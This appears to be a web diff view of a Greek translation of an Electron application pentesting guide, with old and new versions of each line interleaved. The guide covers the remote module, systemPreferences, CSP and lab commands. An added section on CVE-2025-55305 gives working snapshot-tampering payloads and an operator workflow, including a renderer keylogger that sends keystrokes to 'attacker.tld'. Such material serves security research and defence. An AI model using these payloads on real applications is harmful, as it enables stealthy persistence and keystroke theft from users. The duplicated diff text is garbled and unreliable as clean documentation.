Από το Electron 14, το `remote` module του Electron μπορεί να ενεργοποιηθεί σε αρκετά βήματα, λόγω λόγων ασφαλείας και απόδοσης είναι **συνιστώμενο να μην το χρησιμοποιείτε**.
|
||||
Από το Electron 14, το `remote` module μπορεί να είναι ενεργοποιημένο με διάφορους τρόπους· για λόγους ασφάλειας και απόδοσης, **συνιστάται να μην το χρησιμοποιείτε**.
|
||||
|
||||
Για να το ενεργοποιήσετε, θα πρέπει πρώτα να **το ενεργοποιήσετε στη διαδικασία κύριου**:
|
||||
Για να το ενεργοποιήσετε, πρώτα πρέπει να **το ενεργοποιήσετε στη main process**:
|
||||
```javascript
|
||||
const remoteMain = require('@electron/remote/main')
|
||||
remoteMain.initialize()
|
||||
@ -316,37 +319,39 @@ mainWindow = new BrowserWindow({
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
Στη συνέχεια, η διαδικασία απόδοσης μπορεί να εισάγει αντικείμενα από το module όπως:
|
||||
Στη συνέχεια, η renderer process μπορεί να import objects από το module που θέλει:
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
Το **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** υποδεικνύει μερικές ενδιαφέρουσες **λειτουργίες** που εκτίθενται από το αντικείμενο **`app`** από το απομακρυσμένο module:
|
||||
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** υποδεικνύει μερικές ενδιαφέρουσες **functions** που εκτίθενται από το αντικείμενο **`app`** του remote module:
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **Επαναλαμβάνει** την εφαρμογή **αποχωρώντας** από την τρέχουσα παρουσία και **εκκινώντας** μια νέα. Χρήσιμο για **ενημερώσεις εφαρμογής** ή σημαντικές **αλλαγές κατάστασης**.
|
||||
- **Επανεκκινεί** την εφαρμογή με το **κλείσιμο** της τρέχουσας παρουσίας και την **εκκίνηση** μίας νέας. Χρήσιμο για **ενημερώσεις της εφαρμογής** ή σημαντικές **αλλαγές κατάστασης**.
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **Ορίζει** ή **δημιουργεί** έναν φάκελο για την αποθήκευση των **καταγραφών εφαρμογής**. Οι καταγραφές μπορούν να **ανακτηθούν** ή να **τροποποιηθούν** χρησιμοποιώντας **`app.getPath()`** ή **`app.setPath(pathName, newPath)`**.
|
||||
- **Ορίζει** ή **δημιουργεί** έναν κατάλογο για την αποθήκευση των **αρχείων καταγραφής της εφαρμογής**. Τα καταγραφικά μπορούν να **ανακτηθούν** ή να **τροποποιηθούν** χρησιμοποιώντας τις **`app.getPath()`** ή **`app.setPath(pathName, newPath)`**.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- **Καταχωρεί** το τρέχον εκτελέσιμο ως τον **προεπιλεγμένο χειριστή** για έναν συγκεκριμένο **πρωτόκολλο**. Μπορείτε να παρέχετε μια **προσαρμοσμένη διαδρομή** και **παραμέτρους** αν χρειαστεί.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **Προσθέτει** εργασίες στην **κατηγορία Εργασιών** στη **Λίστα Γρήγορων Συνδέσμων** (σε Windows). Κάθε εργασία μπορεί να ελέγξει πώς εκκινείται η εφαρμογή ή ποιες **παράμετροι** περνούν.
|
||||
- **Καταχωρεί** το τρέχον εκτελέσιμο ως **προεπιλεγμένο χειριστή** για ένα συγκεκριμένο **πρωτόκολλο**. Μπορείτε να παρέχετε μια **προσαρμοσμένη διαδρομή** και **παραμέτρους** αν χρειάζεται.
|
||||
- **`app.setUserTasks(tasks)``**
|
||||
- **Προσθέτει** εργασίες στην **Tasks category** στο **Jump List** (σε Windows). Κάθε task μπορεί να ελέγχει πώς η εφαρμογή **εκκινείται** ή ποιες **παράμετροι** περνιούνται.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- **Εισάγει** ένα **πιστοποιητικό PKCS#12** στο **κατάστημα πιστοποιητικών** του συστήματος (μόνο Linux). Ένα **callback** μπορεί να χρησιμοποιηθεί για να χειριστεί το αποτέλεσμα.
|
||||
- **Εισάγει** ένα **PKCS#12 certificate** στην **αποθήκη πιστοποιητικών του συστήματος** (μόνο Linux). Ένα **callback** μπορεί να χρησιμοποιηθεί για να χειριστεί το αποτέλεσμα.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- **Μετακινεί** την εφαρμογή στον **φάκελο Εφαρμογών** (σε macOS). Βοηθά να διασφαλιστεί μια **τυπική εγκατάσταση** για τους χρήστες Mac.
|
||||
- **Μετακινεί** την εφαρμογή στον **Applications folder** (σε macOS). Βοηθά να διασφαλιστεί μια **τυπική εγκατάσταση** για χρήστες Mac.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Ορίζει** ή **αφαιρεί** μια **προσαρμοσμένη Λίστα Γρήγορων Συνδέσμων** σε **Windows**. Μπορείτε να καθορίσετε **κατηγορίες** για να οργανώσετε πώς εμφανίζονται οι εργασίες στον χρήστη.
|
||||
- **Ορίζει** ή **αφαιρεί** μια **προσαρμοσμένη Jump List** στα **Windows**. Μπορείτε να καθορίσετε **κατηγορίες** για να οργανώσετε πώς οι εργασίες εμφανίζονται στον χρήστη.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- **Ρυθμίζει** ποια **εκτελέσιμα** εκκινούν κατά την **είσοδο** μαζί με τις **επιλογές** τους (μόνο macOS και Windows).
|
||||
- **Διαμορφώνει** ποια **εκτελέσιμα** εκκινούν κατά το **login** μαζί με τις **επιλογές** τους (μόνο macOS και Windows).
|
||||
|
||||
Example:
|
||||
```javascript
|
||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||
Native.app.exit()
|
||||
```
|
||||
## systemPreferences module
|
||||
## μονάδα systemPreferences
|
||||
|
||||
Η **κύρια API** για την πρόσβαση στις ρυθμίσεις συστήματος και την **εκπομπή συστημικών γεγονότων** στο Electron. Μέθοδοι όπως **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** και **setUserDefault** είναι όλες **μέρος του** αυτού του module.
|
||||
Το **κύριο API** για την πρόσβαση στις ρυθμίσεις συστήματος και την **εκπομπή συμβάντων συστήματος** στο Electron. Μέθοδοι όπως **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, και **setUserDefault** είναι όλες **μέρος** αυτής της μονάδας.
|
||||
|
||||
**Example usage:**
|
||||
**Παράδειγμα χρήσης:**
|
||||
```javascript
|
||||
const { systemPreferences } = require('electron');
|
||||
|
||||
@ -361,50 +366,52 @@ console.log('Recent Places:', recentPlaces);
|
||||
```
|
||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||
|
||||
* **Ακούει** για **εγγενείς ειδοποιήσεις macOS** χρησιμοποιώντας NSDistributedNotificationCenter.
|
||||
* Πριν από **macOS Catalina**, μπορούσατε να καταγράψετε **όλες** τις διανεμόμενες ειδοποιήσεις περνώντας **nil** στο CFNotificationCenterAddObserver.
|
||||
* Μετά από **Catalina / Big Sur**, οι εφαρμογές σε sandbox μπορούν να **εγγραφούν** σε **πολλές εκδηλώσεις** (για παράδειγμα, **κλειδώματα/ξεκλειδώματα οθόνης**, **συνδέσεις τόμου**, **δραστηριότητα δικτύου**, κ.λπ.) καταχωρώντας ειδοποιήσεις **κατά όνομα**.
|
||||
* **Ακούει** για **native macOS notifications** χρησιμοποιώντας NSDistributedNotificationCenter.
|
||||
* Πριν από **macOS Catalina**, μπορούσατε να sniff **όλες** τις distributed notifications περνώντας **nil** στο CFNotificationCenterAddObserver.
|
||||
* Μετά το **Catalina / Big Sur**, sandboxed apps μπορούν ακόμα να **subscribe** σε **πολλά events** (π.χ. **κλείδωμα/ξεκλείδωμα οθόνης**, **mounts δίσκων**, **δραστηριότητα δικτύου**, κ.λπ.) καταχωρίζοντας notifications **με όνομα**.
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* **Διασυνδέεται** με **NSUserDefaults**, το οποίο αποθηκεύει **προτιμήσεις** εφαρμογής ή **παγκόσμιες** προτιμήσεις στο macOS.
|
||||
* **Επικοινωνεί** με **NSUserDefaults**, το οποίο αποθηκεύει **προτιμήσεις** εφαρμογής ή σε επίπεδο συστήματος στο macOS.
|
||||
|
||||
* **getUserDefault** μπορεί να **ανακτήσει** ευαίσθητες πληροφορίες, όπως **τοποθεσίες πρόσφατων αρχείων** ή **γεωγραφική τοποθεσία χρήστη**.
|
||||
* Το **getUserDefault** μπορεί να **ανακτήσει** ευαίσθητες πληροφορίες, όπως **πρόσφατες τοποθεσίες αρχείων** ή **γεωγραφική θέση του χρήστη**.
|
||||
|
||||
* **setUserDefault** μπορεί να **τροποποιήσει** αυτές τις προτιμήσεις, επηρεάζοντας ενδεχομένως τη **διαμόρφωση** μιας εφαρμογής.
|
||||
* Το **setUserDefault** μπορεί να **τροποποιήσει** αυτές τις προτιμήσεις, ενδεχομένως επηρεάζοντας την **διαμόρφωση** μιας εφαρμογής.
|
||||
|
||||
* Σε **παλαιότερες εκδόσεις Electron** (πριν από v8.3.0), μόνο η **τυπική σουίτα** του NSUserDefaults ήταν **προσβάσιμη**.
|
||||
* Σε **παλαιότερες εκδόσεις Electron** (πριν την v8.3.0), μόνο το **standard suite** του NSUserDefaults ήταν **προσβάσιμο**.
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
Αυτή η λειτουργία εμφανίζει το δοθέν αρχείο σε έναν διαχειριστή αρχείων, ο οποίος **μπορεί να εκτελέσει αυτόματα το αρχείο**.
|
||||
Αυτή η συνάρτηση εμφανίζει το δοθέν αρχείο σε διαχειριστή αρχείων, ο οποίος **μπορεί να εκτελέσει αυτόματα το αρχείο**.
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
Οι εφαρμογές Electron θα πρέπει να έχουν μια **Πολιτική Ασφαλείας Περιεχομένου (CSP)** για να **αποτρέπουν επιθέσεις XSS**. Η **CSP** είναι ένα **πρότυπο ασφαλείας** που βοηθά να **αποτραπεί** η **εκτέλεση** **μη αξιόπιστου κώδικα** στον περιηγητή.
|
||||
Οι εφαρμογές Electron θα πρέπει να έχουν μια **Content Security Policy (CSP)** για να **αποτρέπουν επιθέσεις XSS**. Το **CSP** είναι ένα **πρότυπο ασφάλειας** που βοηθά στην **αποτροπή** της **εκτέλεσης** **μη αξιόπιστου κώδικα** στον περιηγητή.
|
||||
|
||||
Συνήθως **ρυθμίζεται** στο αρχείο **`main.js`** ή στο πρότυπο **`index.html`** με την CSP μέσα σε μια **meta tag**.
|
||||
Συνήθως **διαμορφώνεται** στο αρχείο **`main.js`** ή στο template **`index.html`**, με την CSP μέσα σε **meta tag**.
|
||||
|
||||
For more information check:
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
pentesting-web/content-security-policy-csp-bypass/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## **Tools**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) είναι ένα εργαλείο για την αναγνώριση κακών ρυθμίσεων και προτύπων ασφαλείας σε εφαρμογές βασισμένες σε Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) είναι ένα ανοιχτού κώδικα plugin VS Code για εφαρμογές Electron που χρησιμοποιεί το Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) για να ελέγξετε ευάλωτες βιβλιοθήκες τρίτων.
|
||||
- [**Electro.ng**](https://electro.ng/): Πρέπει να το αγοράσετε.
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) είναι ένα εργαλείο για την αναγνώριση λανθασμένων ρυθμίσεων και security anti-patterns σε εφαρμογές βασισμένες σε Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) είναι ένα open source VS Code plugin για εφαρμογές Electron που χρησιμοποιεί Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) για έλεγχο ευπαθών third-party βιβλιοθηκών
|
||||
- [**Electro.ng**](https://electro.ng/): Πρέπει να το αγοράσετε
|
||||
|
||||
## Labs
|
||||
|
||||
Στο [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) μπορείτε να βρείτε ένα εργαστήριο για την εκμετάλλευση ευάλωτων εφαρμογών Electron.
|
||||
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) μπορείτε να βρείτε ένα εργαστήριο για να εκμεταλλευτείτε ευπαθείς εφαρμογές Electron.
|
||||
|
||||
Ορισμένες εντολές που θα σας βοηθήσουν με το εργαστήριο:
|
||||
Μερικές εντολές που θα σας βοηθήσουν στο εργαστήριο:
|
||||
```bash
|
||||
# Download apps from these URls
|
||||
# Vuln to nodeIntegration
|
||||
@ -427,14 +434,127 @@ cd vulnerable1
|
||||
npm install
|
||||
npm start
|
||||
```
|
||||
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||
|
||||
Οι εφαρμογές βασισμένες σε Electron και Chromium deserialize ένα prebuilt V8 heap snapshot κατά την εκκίνηση (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) για να αρχικοποιήσουν κάθε V8 isolate (main, preload, renderer). Ιστορικά, τα integrity fuses του Electron δεν αντιμετώπιζαν αυτά τα snapshots ως executable content, οπότε διέφευγαν τόσο το fuse-based integrity enforcement όσο και τα OS code-signing checks. Ως αποτέλεσμα, η αντικατάσταση του snapshot σε μια user-writable εγκατάσταση παρείχε stealthy, persistent code execution μέσα στην εφαρμογή χωρίς να τροποποιηθούν τα signed binaries ή το ASAR.
|
||||
|
||||
Key points
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, αλλά δεν κάλυπταν τα V8 heap snapshots (CVE-2025-55305). Το Chromium παρομοίως δεν κάνει integrity-check στα snapshots.
|
||||
- Attack preconditions: Local file write στο installation directory της εφαρμογής. Αυτό είναι κοινό σε συστήματα όπου Electron apps ή Chromium browsers είναι εγκατεστημένα κάτω από user-writable paths (π.χ. %AppData%\Local στα Windows; /Applications με caveats στο macOS).
|
||||
- Effect: Reliable execution of attacker JavaScript σε οποιοδήποτε isolate με το clobbering ενός συχνά χρησιμοποιούμενου builtin (ένα “gadget”), επιτρέποντας persistence και evasion της code-signing verification.
|
||||
- Affected surface: Electron apps (ακόμα και με fuses enabled) και Chromium-based browsers που φορτώνουν snapshots από user-writable locations.
|
||||
|
||||
Generating a malicious snapshot without building Chromium
|
||||
- Χρησιμοποιήστε το prebuilt electron/mksnapshot για να compile ένα payload JS σε snapshot και να overwrite το application's v8_context_snapshot.bin.
|
||||
|
||||
Example minimal payload (prove execution by forcing a crash)
|
||||
```js
|
||||
// Build snapshot from this payload
|
||||
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
// Replace the application’s v8_context_snapshot.bin with the generated file
|
||||
|
||||
const orig = Array.isArray;
|
||||
|
||||
// Use Array.isArray as a ubiquitous gadget
|
||||
Array.isArray = function () {
|
||||
// Executed whenever the app calls Array.isArray
|
||||
throw new Error("testing isArray gadget");
|
||||
};
|
||||
```
|
||||
Isolate-aware payload routing (τρέξε διαφορετικό code στο main vs. renderer)
|
||||
- Ανίχνευση main process: Node-only globals όπως process.pid, process.binding(), ή process.dlopen είναι παρόντα στο main process isolate.
|
||||
- Ανίχνευση Browser/renderer: Browser-only globals όπως alert είναι διαθέσιμα όταν εκτελούνται σε document context.
|
||||
|
||||
Παράδειγμα gadget που probes τις main-process Node capabilities μία φορά
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
|
||||
Array.isArray = function() {
|
||||
// Defer until we land in main (has Node process)
|
||||
try {
|
||||
if (!process || !process.pid) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
} catch (_) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
|
||||
// Run once
|
||||
if (!globalThis._invoke_lock) {
|
||||
globalThis._invoke_lock = true;
|
||||
console.log('[payload] isArray hook started ...');
|
||||
|
||||
// Capability probing in main
|
||||
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
|
||||
process.exit(0);
|
||||
}
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Renderer/browser-context PoC για κλοπή δεδομένων (π.χ., Slack)
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
Array.isArray = function() {
|
||||
// Wait for a browser context
|
||||
try {
|
||||
if (!alert) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
} catch (_) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
|
||||
if (!globalThis._invoke_lock) {
|
||||
globalThis._invoke_lock = true;
|
||||
setInterval(() => {
|
||||
window.onkeydown = (e) => {
|
||||
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
|
||||
}
|
||||
}, 1000);
|
||||
}
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Ροή εργασίας χειριστή
|
||||
1) Γράψτε payload.js που αντικαθιστά ένα κοινό builtin (π.χ., Array.isArray) και προαιρετικά κάνει branching ανά isolate.
|
||||
2) Build the snapshot without Chromium sources:
|
||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
3) Overwrite the target application’s snapshot file(s):
|
||||
- v8_context_snapshot.bin (always used)
|
||||
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
|
||||
4) Launch the application; the gadget executes whenever the chosen builtin is used.
|
||||
|
||||
Σημειώσεις και παρατηρήσεις
|
||||
- Bypass ακεραιότητας/υπογραφής: Τα snapshot αρχεία δεν θεωρούνται εγγενή εκτελέσιμα από τους ελέγχους code-signing και (ιστορικά) δεν καλύπτονταν από τα fuses του Electron ή τους μηχανισμούς integrity του Chromium.
|
||||
- Persistence: Η αντικατάσταση του snapshot σε εγκατάσταση εγγράψιμη από τον χρήστη συνήθως επιβιώνει επανεκκινήσεις της εφαρμογής και μοιάζει με υπογεγραμμένη, νόμιμη εφαρμογή.
|
||||
- Chromium browsers: Η ίδια έννοια παραποίησης εφαρμόζεται σε Chrome/derivatives που είναι εγκατεστημένα σε τοποθεσίες εγγράψιμες από τον χρήστη. Το Chrome έχει άλλα μέτρα ακεραιότητας αλλά ρητά εξαιρεί φυσικά τοπικές επιθέσεις από το threat model του.
|
||||
|
||||
Εντοπισμός και μετριασμοί
|
||||
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
|
||||
- Προτιμήστε τοποθεσίες εγκατάστασης που γράφονται μόνο από admin; καθορίστε baseline και παρακολουθείτε hashes για v8_context_snapshot.bin και browser_v8_context_snapshot.bin.
|
||||
- Ανιχνεύστε early-runtime builtin clobbering και απροσδόκητες αλλαγές στα snapshot· ειδοποιήστε όταν οι deserialized snapshots δεν ταιριάζουν με τις αναμενόμενες τιμές.
|
||||
|
||||
## **Αναφορές**
|
||||
|
||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||
- [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots)
|
||||
- [electron/mksnapshot](https://github.com/electron/mksnapshot)
|
||||
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
|
||||
- [Loki C2](https://github.com/boku7/Loki/)
|
||||
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
||||
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
|
||||
|
||||
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
|
||||
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
|
||||
- Περισσότερες έρευνες και αναφορές σχετικά με την ασφάλεια του Electron στο [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
- More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
|
||||
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user